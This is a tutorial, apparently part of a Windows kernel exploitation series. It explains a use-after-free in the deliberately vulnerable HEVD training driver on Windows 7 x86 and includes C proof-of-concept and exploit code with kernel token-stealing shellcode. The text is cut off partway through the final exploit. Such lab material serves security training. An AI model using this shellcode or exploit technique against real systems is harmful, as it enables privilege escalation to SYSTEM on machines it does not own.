0x02 - Introduction to Windows Kernel Use After Frees (UaFs)
If you’ve been following the series consecutively, by now you should have exploited a basic Stack Overflow both within Windows 7 (x86) and Windows 10 (x64). Although this is a major accomplishment there are more vulnerabilities that can result in code execution. The best way to get familiar with them is to exploit them on a system with minimal mitigations. For this reason, we’ll be returning back to Windows 7 (x86).
In addition, we won’t be utilizing Ghidra, this time we’ll be using the source code. In the next guide we’ll re-introduce Ghidra to give you a valuable perspective on how you would identify it using either source or decompiler output.
Table of Contents
- What is a Use After Free (High Level)
- Using Source - Getting a Lay of the Land
- Summary of Functions
- Exploitation
- Sources
What is a Use After Free (High Level)
Just in case you’re not completely familiar with what a Use-After-Free is, let’s give ourselves a quick high-level overview of this bug class. Basically, a Use After Free (UaF) occurs when we Use an object After it has been Free’d. This “object” can be any structure or class loaded in memory that is later freed.
To use a non-technical example, let’s say you’re working under a car and place your tools beside you. You’re working upside down so you’re not paying attention to your toolbox, you just simply reach into the toolbox and feel around for what you need.
In this “toolbox” you only have a wrench (hard to believe I know), you grab the wrench but instead of putting it back in the toolbox you place it on the floor near your feet. Although at your feet, you believe the wrench has been placed back in its original location.
Without you noticing some dude throws a can of soda into the toolbox.
When you go and reach for the wrench you don’t notice a difference between it and the can (because you have flippers, you’re a penguin). So, you end up dumping cola all over your new tux.
OH NO!! We have fallen victim to a UaF, the dude successfully exploited the UaF.
How does this relate to computers?
- The example of blindly reaching into a toolbox mirrors the way programs rely on memory without “looking” (verifying if it’s still valid or changed).
- The unexpected replacement of the wrench with a soda can demonstrates how stale references (pointers) can lead to unintended and harmful outcomes.
- The “dude” throwing a soda can represents an attacker taking advantage of freed memory (e.g., injecting malicious data/code into reused memory).
With that we should be ready to get started.
Using Source - Getting a Lay of the Land
The first thing we want to identify is the location of the I/O Control Codes. From the looks of it, each vulnerability has its own “handler” function.
./ArbitraryWrite.c:129:/// Arbitrary Write Ioctl Handler
./MemoryDisclosureNonPagedPool.c:178:/// Memory Disclosure NonPagedPool Ioctl Handler
./DoubleFetch.c:151:/// Double Fetch Ioctl Handler
./BufferOverflowNonPagedPool.c:165:/// Buffer Overflow NonPagedPool Ioctl Handler
./MemoryDisclosureNonPagedPoolNx.c:177:/// Memory Disclosure NonPagedPoolNx Ioctl Handler
./IntegerOverflow.c:154:/// Integer Overflow Ioctl Handler
./UninitializedMemoryPagedPool.c:216:/// Uninitialized Memory PagedPool Ioctl Handler
./WriteNULL.c:117:/// Write NULL Ioctl Handler
./InsecureKernelResourceAccess.c:148:/// Insecure Kernel File Access Ioctl Handler
./BufferOverflowPagedPoolSession.c:165:/// Buffer Overflow PagedPoolSession Ioctl Handler
./BufferOverflowNonPagedPoolNx.c:165:/// Buffer Overflow NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:352:/// Allocate UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:376:/// Use UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:400:/// Free UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:424:/// Allocate Fake Object NonPagedPoolNx Ioctl Handler
./BufferOverflowStack.c:121:/// Buffer Overflow Stack Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:553:/// Create Arbitrary Read Write Helper Object Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:582:/// Set Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:611:/// Get Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:640:/// Delete Arbitrary Read Write Helper Object Ioctl Handler
./UninitializedMemoryStack.c:160:/// Uninitialized Memory Stack Ioctl Handler
./NullPointerDereference.c:200:/// Null Pointer Dereference Ioctl Handler
./BufferOverflowStackGS.c:121:/// Buffer Overflow Stack GS Ioctl Handler
./TypeConfusion.c:213:/// Type Confusion Ioctl Handler
We’re interested in the UseAfterFreeNonPagedPool I/O Control Codes
.
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
Based on the naming convention we can identify the following functions:
AllocateUaFObjectNonPagedPoolIoctlHandler(
UseUaFObjectNonPagedPoolIoctlHandler(
FreeUaFObjectNonPagedPoolIoctlHandler(
AllocateFakeObjectNonPagedPoolIoctlHandler(
If we trace where these function calls are used, we are led to ./HackSysExtremeVulnerableDriver.c
which contains a switch statement that would allow us to trigger vulnerable functions.
294 case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
295 DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
296 Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
297 DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
298 break;
299 case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
300 DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
301 Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
302 DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
303 break;
304 case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
305 DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
306 Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
307 DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
308 break;
309 case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
310 DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
311 Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
312 DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
313 break;
This however still did not give us the I/O Control Codes
so before trying to search within each file using some grep-fu, let’s check the header file HackSysExtremeVulnerableDriver.h
.
Within it we are given a list of IOCTL Codes :)
81 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
82 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS IOCTL(0x801)
83 #define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
84 #define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL IOCTL(0x803)
85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x804)
86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x805)
87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x806)
88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL IOCTL(0x807)
89 #define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)
90 #define HEVD_IOCTL_INTEGER_OVERFLOW IOCTL(0x809)
91 #define HEVD_IOCTL_NULL_POINTER_DEREFERENCE IOCTL(0x80A)
92 #define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
93 #define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL IOCTL(0x80C)
94 #define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)
95 #define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS IOCTL(0x80E)
96 #define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL IOCTL(0x80F)
97 #define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION IOCTL(0x810)
98 #define HEVD_IOCTL_WRITE_NULL IOCTL(0x811)
99 #define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX IOCTL(0x812)
100 #define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX IOCTL(0x813)
101 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x814)
102 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x815)
103 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x816)
104 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX IOCTL(0x817)
105 #define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x818)
106 #define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX IOCTL(0x819)
107 #define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX IOCTL(0x81A)
108 #define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x81B)
However, for this tutorial we’d only be focusing on the following:
85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x804)
86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x805)
87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x806)
88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL IOCTL(0x807)
Understanding AllocateUaFObjectNonPagedPoolIoctlHandler
We can find this function within UseAfterFreeNonPagedPool.c
on line 357.
357 NTSTATUS
358 AllocateUaFObjectNonPagedPoolIoctlHandler(
359 _In_ PIRP Irp,
360 _In_ PIO_STACK_LOCATION IrpSp
361 )
362 {
363 NTSTATUS Status = STATUS_UNSUCCESSFUL;
364
365 UNREFERENCED_PARAMETER(Irp);
366 UNREFERENCED_PARAMETER(IrpSp);
367 PAGED_CODE();
368
369 Status = AllocateUaFObjectNonPagedPool();
370
371 return Status;
372 }
This function ultimately calls AllocateUaFObjectNonPagedPool
, which starts on line 86.
86 NTSTATUS
87 AllocateUaFObjectNonPagedPool(
88 VOID
89 )
90 {
91 NTSTATUS Status = STATUS_UNSUCCESSFUL;
92 PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
93
94 PAGED_CODE();
95
96 __try
97 {
98 DbgPrint("[+] Allocating UaF Object\n");
99
100 //
101 // Allocate Pool chunk
102 //
103
104 UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
105 NonPagedPool,
106 sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
107 (ULONG)POOL_TAG
108 );
109
110 if (!UseAfterFree)
111 {
112 //
113 // Unable to allocate Pool chunk
114 //
115
116 DbgPrint("[-] Unable to allocate Pool chunk\n");
117
118 Status = STATUS_NO_MEMORY;
119 return Status;
120 }
121 else
122 {
123 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
124 DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
125 DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
126 DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
127 }
128
129 //
130 // Fill the buffer with ASCII 'A'
131 //
132
133 RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
134
135 //
136 // Null terminate the char buffer
137 //
138
139 UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
140
141 //
142 // Set the object Callback function
143 //
144
145 UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;
146
147 //
148 // Assign the address of UseAfterFree to a global variable
149 //
150
151 g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
152
153 DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
154 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
155 DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
156 }
157 __except (EXCEPTION_EXECUTE_HANDLER)
158 {
159 Status = GetExceptionCode();
160 DbgPrint("[-] Exception Code: 0x%X\n", Status);
161 }
162
163 return Status;
164 }
Let’s break down what this function is doing at a high-level.
- Lines 91-92 we see variables being declared, one of them being a custom structure containing two members: a
function pointer
, and achar buffer[0x54]
. - On line 94 we see the PAGED_CODE macro defined. This macro marks this function as pageable. What this means is, if the function is not present in memory it may be moved to disk. The OS will do this if it needs physical memory for other tasks.
- Lines 104-108 we see a call to ExAllocatePoolWithTag() this is a Windows API call. Basically, what this does is allocate “pool memory” of a specified type and will return a pointer to the allocated block, which as we can see is then casted.
- Argument 1: Here we use a Nonpaged pool, which can be accessed from any IRQL, notably memory allocated with this type is
EXECUTABLE
. - Argument 2: Size of the chunk.
- Argument 3: A pool tag, which from my understanding is for debugging purposes. We can find this in common.h as Hack or “kcaH” since it must be specified in reverse order.
- Argument 1: Here we use a Nonpaged pool, which can be accessed from any IRQL, notably memory allocated with this type is
- Lines 110-127 we can ignore as it’s just error/success checking the last call
- On line 133 we basically see a call to
RtlFillMemory()
another Windows API (memset in nix). - On line 139 we NULL terminate the buffer we filled with A’s.
- On line 145 we set the function pointer to the
UaFObjectCallbackNonPagedPool
function. - On line 151 we assign the address of the allocated object to a global variable.
Pretty straight forward! We’re just allocating some memory (marked executable) to hold the PUSE_AFTER_FREE_NON_PAGED_POOL
structure, fill the Buffer
member (char array), and set the Callback member (function pointer). The structure definition can be seen below:
62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
63 {
64 FunctionPointer Callback;
65 CHAR Buffer[0x54];
66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
Understanding UseUaFObjectNonPagedPoolIoctlHandler
Once again, this as a “wrapper” to call another function:
375 /// <summary>
376 /// Use UaF Object NonPagedPool Ioctl Handler
377 /// </summary>
378 /// <param name="Irp">The pointer to IRP</param>
379 /// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
380 /// <returns>NTSTATUS</returns>
381 NTSTATUS
382 UseUaFObjectNonPagedPoolIoctlHandler(
383 _In_ PIRP Irp,
384 _In_ PIO_STACK_LOCATION IrpSp
385 )
386 {
387 NTSTATUS Status = STATUS_UNSUCCESSFUL;
388
389 UNREFERENCED_PARAMETER(Irp);
390 UNREFERENCED_PARAMETER(IrpSp);
391 PAGED_CODE();
392
393 Status = UseUaFObjectNonPagedPool();
394
395 return Status;
396 }
Let’s look at UseUaFObjectNonPagedPool()
.
171 NTSTATUS
172 UseUaFObjectNonPagedPool(
173 VOID
174 )
175 {
176 NTSTATUS Status = STATUS_UNSUCCESSFUL;
177
178 PAGED_CODE();
179
180 __try
181 {
182 if (g_UseAfterFreeObjectNonPagedPool)
183 {
184 DbgPrint("[+] Using UaF Object\n");
185 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
186 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
187 DbgPrint("[+] Calling Callback\n");
188
189 if (g_UseAfterFreeObjectNonPagedPool->Callback)
190 {
191 g_UseAfterFreeObjectNonPagedPool->Callback();
192 }
193
194 Status = STATUS_SUCCESS;
195 }
196 }
197 __except (EXCEPTION_EXECUTE_HANDLER)
198 {
199 Status = GetExceptionCode();
200 DbgPrint("[-] Exception Code: 0x%X\n", Status);
201 }
202
203 return Status;
204 }
Ok, so pretty straightforward. We’re simply calling the Callback
function pointer, which we previously saw was set in the AllocateUaFObjectNonPagedPoolIoctlHandler()
to UaFObjectCallbackNonPagedPool
.
Understanding FreeUaFObjectNonPagedPoolIoctlHandler
Once again we see that this handler takes no arguments.
405 NTSTATUS
406 FreeUaFObjectNonPagedPoolIoctlHandler(
407 _In_ PIRP Irp,
408 _In_ PIO_STACK_LOCATION IrpSp
409 )
410 {
411 NTSTATUS Status = STATUS_UNSUCCESSFUL;
412
413 UNREFERENCED_PARAMETER(Irp);
414 UNREFERENCED_PARAMETER(IrpSp);
415 PAGED_CODE();
416
417 Status = FreeUaFObjectNonPagedPool();
418
419 return Status;
420 }
Lets look at FreeUaFObjectNonPagedPool
:
211 NTSTATUS
212 FreeUaFObjectNonPagedPool(
213 VOID
214 )
215 {
216 NTSTATUS Status = STATUS_UNSUCCESSFUL;
217
218 PAGED_CODE();
219
220 __try
221 {
222 if (g_UseAfterFreeObjectNonPagedPool)
223 {
224 DbgPrint("[+] Freeing UaF Object\n");
225 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
226 DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
227
228 #ifdef SECURE
229 //
230 // Secure Note: This is secure because the developer is setting
231 // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
232 //
233
234 ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
235
236 //
237 // Set to NULL to avoid dangling pointer
238 //
239
240 g_UseAfterFreeObjectNonPagedPool = NULL;
241 #else
242 //
243 // Vulnerability Note: This is a vanilla Use After Free vulnerability
244 // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
245 // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
246 // (dangling pointer)
247 //
248
249 ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
250 #endif
251
252 Status = STATUS_SUCCESS;
253 }
254 }
255 __except (EXCEPTION_EXECUTE_HANDLER)
256 {
257 Status = GetExceptionCode();
258 DbgPrint("[-] Exception Code: 0x%X\n", Status);
259 }
260
261 return Status;
262 }
Here we see a call to a new Windows API the ExFreePoolWithTag
function. This function simply deallocates a block of pool memory allocated with the specified tag (Hack), however we can see that the global variable g_UseAfterFreeObjectNonPagedPool
is never made NULL. This means g_UseAfterFreeObjectNonPagedPool
will contain a pointer to the free’d object even after it’s been free’d. As the source mentions - a dangling pointer.
Understanding AllocateFakeObjectNonPagedPoolIoctlHandler
Looking at this handler we can see it takes some user input on line 441.
429 NTSTATUS
430 AllocateFakeObjectNonPagedPoolIoctlHandler(
431 _In_ PIRP Irp,
432 _In_ PIO_STACK_LOCATION IrpSp
433 )
434 {
435 NTSTATUS Status = STATUS_UNSUCCESSFUL;
436 PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject = NULL;
437
438 UNREFERENCED_PARAMETER(Irp);
439 PAGED_CODE();
440
441 UserFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
442
443 if (UserFakeObject)
444 {
445 Status = AllocateFakeObjectNonPagedPool(UserFakeObject);
446 }
447
448 return Status;
449 }
From here, we call AllocateFakeObjectNonPagedPool
.
270 NTSTATUS
271 AllocateFakeObjectNonPagedPool(
272 _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
273 )
274 {
275 NTSTATUS Status = STATUS_SUCCESS;
276 PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
277
278 PAGED_CODE();
279
280 __try
281 {
282 DbgPrint("[+] Creating Fake Object\n");
283
284 //
285 // Allocate Pool chunk
286 //
287
288 KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
289 NonPagedPool,
290 sizeof(FAKE_OBJECT_NON_PAGED_POOL),
291 (ULONG)POOL_TAG
292 );
293
294 if (!KernelFakeObject)
295 {
296 //
297 // Unable to allocate Pool chunk
298 //
299
300 DbgPrint("[-] Unable to allocate Pool chunk\n");
301
302 Status = STATUS_NO_MEMORY;
303 return Status;
304 }
305 else
306 {
307 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
308 DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
309 DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
310 DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
311 }
312
313 //
314 // Verify if the buffer resides in user mode
315 //
316
317 ProbeForRead(
318 (PVOID)UserFakeObject,
319 sizeof(FAKE_OBJECT_NON_PAGED_POOL),
320 (ULONG)__alignof(UCHAR)
321 );
322
323 //
324 // Copy the Fake structure to Pool chunk
325 //
326
327 RtlCopyMemory(
328 (PVOID)KernelFakeObject,
329 (PVOID)UserFakeObject,
330 sizeof(FAKE_OBJECT_NON_PAGED_POOL)
331 );
332
333 //
334 // Null terminate the char buffer
335 //
336
337 KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
338
339 DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
340 }
341 __except (EXCEPTION_EXECUTE_HANDLER)
342 {
343 Status = GetExceptionCode();
344 DbgPrint("[-] Exception Code: 0x%X\n", Status);
345 }
346
347 return Status;
348 }
Let’s break this down:
- Lines 288-311 we allocate a chunk just as before, but this time it’s a “fake object”. Just looking at the structure, it’s the same size as the PUSE_AFTER_FREE_NON_PAGED_POOL object
- Lines 317-321 we see a new Windows API ProbeForRead which checks that the user-mode buffer is correctly aligned.
- Lines 327-331 we RtlCopyMemory / move the usermode buffer into the fake object allocation
- Lines 333-347 we NULL terminate the buffer and return.
For reference this is the fake object:
68 typedef struct _FAKE_OBJECT_NON_PAGED_POOL
69 {
70 CHAR Buffer[0x58];
71 } FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
Noice, if you’re familiar with user mode exploitation your eyes are probably lit up by now.
Summary of Functions
In short this is what the functions do:
Function | Summary |
---|---|
AllocateUaFObjectNonPagedPoolIoctlHandler | We’re just allocating some memory (executable) to hold the PUSE_AFTER_FREE_NON_PAGED_POOL structure, fill the Buffer member (char array), and set the Callback member (function pointer) |
UseUaFObjectNonPagedPoolIoctlHandler | Calls the Callback function pointer from the global variable g_UseAfterFreeObjectNonPagedPool |
FreeUaFObjectNonPagedPoolIoctlHandler | Free’s the g_UseAfterFreeObjectNonPagedPool object, and DOES NOT NULL out the variable (dangling pointer) |
AllocateFakeObjectNonPagedPoolIoctlHandler | Allocates an object the same size as the original allocation, but with user-controlled input. |
Looking at this we have a classic UAF. Never done a Windows UAF but I’m assuming that the fake object will take the previously allocated memories space. To exploit this in theory all we need to do is:
- Allocate a
USE_AFTER_FREE_NON_PAGED_POOL
object - Free the object
- Allocate a
FAKE_OBJECT_NON_PAGED_POOL
object (reclaiming freed memory) - Call
g_UseAfterFreeObjectNonPagedPool.Callback
which should point to the corrupted structure
Exploitation
From here writing a PoC seemed pretty straightforward, and since we had source this should be pretty easy (object size wise).
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>
#include <psapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR IOCTL(0x805)
#define HEVD_FREE IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)
typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
DWORD bytesReturned = 0;
printf("[*] Calling IOCTL Code 0x%x\n", dIoctl);
DeviceIoControl(hHEVD,
dIoctl,
pBuffer,
dBuffer,
NULL,
0x00,
&bytesReturned,
NULL);
return;
}
char *allocate_buffer()
{
char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
if (buffer != NULL)
{
printf("[*] Allocated %d bytes (userland)\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
memset(buffer, 0x41, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
}
return buffer;
}
int main()
{
HANDLE hHEVD = NULL;
char *evilBuffer = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
evilBuffer = allocate_buffer();
if (evilBuffer == NULL)
{
printf("[*] Failed to allocate evil buffer (userland)\n");
return -1;
}
printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL object\n");
sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);
printf("[*] Freeing object\n");
sendIoctl(hHEVD, HEVD_FREE, NULL, 0);
printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOL\n");
sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
printf("[*] Triggering UAF\n");
sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);
}
Once sent, we can see we have successfully hijacked execution flow.
Now since we see 41414141 we can assume that the first 4 bytes are the function pointer, we can confirm this based on the source code (UseAfterFreeNonPagedPool.h):
62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
63 {
64 FunctionPointer Callback;
65 CHAR Buffer[0x54];
66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
Let’s write our exploit!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>
#include <psapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR IOCTL(0x805)
#define HEVD_FREE IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)
typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
/* sendIoctl:
Send the IOCTL code to the driver */
void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
DWORD bytesReturned = 0;
printf("[*] Calling IOCTL Code 0x%x\n", dIoctl);
DeviceIoControl(hHEVD,
dIoctl,
pBuffer,
dBuffer,
NULL,
0x00,
&bytesReturned,
NULL);
return;
}
/* allocate_buffer:
Creates a userland allocation with the first 4 bytes pointing to the address where our shellcode
was allocated. */
char *allocate_buffer(void *shellcode_addr)
{
char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
if (buffer != NULL)
{
printf("[*] Shellcode located at: %p\n", &shellcode_addr);
memcpy(buffer, &shellcode_addr, 4);
memset(buffer+4, 'A', 83);
}
return buffer;
}
int main()
{
HANDLE hHEVD = NULL;
char *evilBuffer = NULL;
char shellcode[] =
// sickle -a x86 -p windows/x86/kernel_token_stealer -f c -m pinpoint
"\x60" // pushal
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
"\x8b\x40\x50" // mov eax, dword ptr [eax + 0x50]
"\x89\xc1" // mov ecx, eax
"\xba\x04\x00\x00\x00" // mov edx, 4
"\x8b\x80\xb8\x00\x00\x00" // mov eax, dword ptr [eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp dword ptr [eax + 0xb4], edx
"\x75\xed" // jne 0x1014
"\x8b\x90\xf8\x00\x00\x00" // mov edx, dword ptr [eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov dword ptr [ecx + 0xf8], edx
"\x61" // popal
// return to userland code
"\x31\xc0" // xor eax,eax
"\xC3"; // ret
LPVOID lpPayload = VirtualAlloc(NULL,
56,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpPayload == NULL)
{
printf("[-] Failed to create shellcode allocation\n");
return -1;
}
memcpy(lpPayload, shellcode, 56);
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
evilBuffer = allocate_buffer(lpPayload);
if (evilBuffer == NULL)
{
printf("[*] Failed to allocate evil buffer (userland)\n");
return -1;
}
printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL object\n");
